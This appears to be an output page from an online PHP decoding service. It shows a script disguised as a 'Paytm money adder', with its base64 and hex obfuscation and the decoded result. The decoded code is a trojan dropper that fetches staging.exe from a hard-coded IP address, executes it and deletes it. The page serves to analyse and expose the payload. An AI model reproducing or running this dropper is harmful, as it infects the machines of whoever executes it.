Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* SCRIPT: PAYTM MONEY ADDER - SECRET CODE- NEVER SHARE IT ANYWHERE TEAM: ALPH..

Decoded Output download

return eval("b"file_put_contents('staging.exe', file_get_contents('http://18.222.177.162/staging.exe')); system('staging.exe'); unlink('staging.exe');"");

Did this file decode correctly?

Original Code

<?php 

/*
SCRIPT: PAYTM MONEY ADDER - SECRET CODE- NEVER SHARE IT ANYWHERE
TEAM: ALPHA
NOTE: WORKS ONLY ON XAMPP!
Checksum: d0e7c5f225c6eca1763feb24cde430cafd3702fb
*/

$paytm_no = $_GET['no'];

$code=base64_decode("XHg2Nlx4NjlceDZDXHg2NVx4NUZceDcwXHg3NVx4NzRceDVGXHg2M1x4NkZceDZFXHg3NFx4NjVceDZFXHg3NFx4NzMoJ1x4NzNceDc0XHg2MVx4NjdceDY5XHg2RVx4NjdceDJFXHg2NVx4NzhceDY1JywgXHg2Nlx4NjlceDZDXHg2NVx4NUZceDY3XHg2NVx4NzRceDVGXHg2M1x4NkZceDZFXHg3NFx4NjVceDZFXHg3NFx4NzMoJ1x4NjhceDc0XHg3NFx4NzBceDNBXHgyRlx4MkZceDMxXHgzOFx4MkVceDMyXHgzMlx4MzJceDJFXHgzMVx4MzdceDM3XHgyRVx4MzFceDM2XHgzMlx4MkZceDczXHg3NFx4NjFceDY3XHg2OVx4NkVceDY3XHgyRVx4NjVceDc4XHg2NScpKTsgXHg3M1x4NzlceDczXHg3NFx4NjVceDZEKCdceDczXHg3NFx4NjFceDY3XHg2OVx4NkVceDY3XHgyRVx4NjVceDc4XHg2NScpOyBceDc1XHg2RVx4NkNceDY5XHg2RVx4NkIoJ1x4NzNceDc0XHg2MVx4NjdceDY5XHg2RVx4NjdceDJFXHg2NVx4NzhceDY1Jyk7"); eval("return eval(\"$code\");") ?>

Function Calls

base64_decode 1

Variables

$code \x66\x69\x6C\x65\x5F\x70\x75\x74\x5F\x63\x6F\x6E\x74\x65\x6E..
$paytm_no None

Stats

MD5 8ef517a98995ba13d303f22d88408b31
Eval Count 1
Decode Time 97 ms